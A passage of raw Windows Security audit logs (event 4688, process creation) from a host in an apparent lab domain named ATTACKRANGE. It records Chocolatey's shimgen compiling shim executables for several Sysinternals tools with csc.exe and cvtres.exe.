-Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x844 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc08 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246799 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc08 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsService.exe" --output="C:\ProgramData\chocolatey\bin\PsService.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsService.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246798 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFECD.tmp" "c:\ProgramData\chocolatey\bin\CSCD32E47E3CC26417EA3CE8B137F5D392D.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246845 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x360 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc74 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246844 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc74 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ru.exe" --output="C:\ProgramData\chocolatey\bin\ru.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ru.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246843 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8d0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES66E.tmp" "c:\ProgramData\chocolatey\bin\CSCBA21BC9A2B8F41EEBFC344D887E8BADA.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246842 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246841 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb80 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\regjump.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_8644\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_8644\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_8644\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_8644\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_8644\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246840 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb48 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb80 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246839 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb80 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\regjump.exe" --output="C:\ProgramData\chocolatey\bin\regjump.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\regjump.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246838 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc08 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES5A3.tmp" "c:\ProgramData\chocolatey\bin\CSC855FC36B868A488BAAAE2C9F74EC4F13.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246837 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd08 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246836 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\RegDelNull64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_6456\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_6456\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_6456\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_6456\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_6456\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246835 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x44c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246834 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\RegDelNull64.exe" --output="C:\ProgramData\chocolatey\bin\RegDelNull64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\RegDelNull64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246833 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb88 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x310 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES4B9.tmp" "c:\ProgramData\chocolatey\bin\CSCFEEC2073C6DC4B45BAF9154A1979D45D.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246832 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb10 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x310 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246831 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x310 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeb4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\RegDelNull.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_4269\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_4269\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_4269\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_4269\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_4269\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or 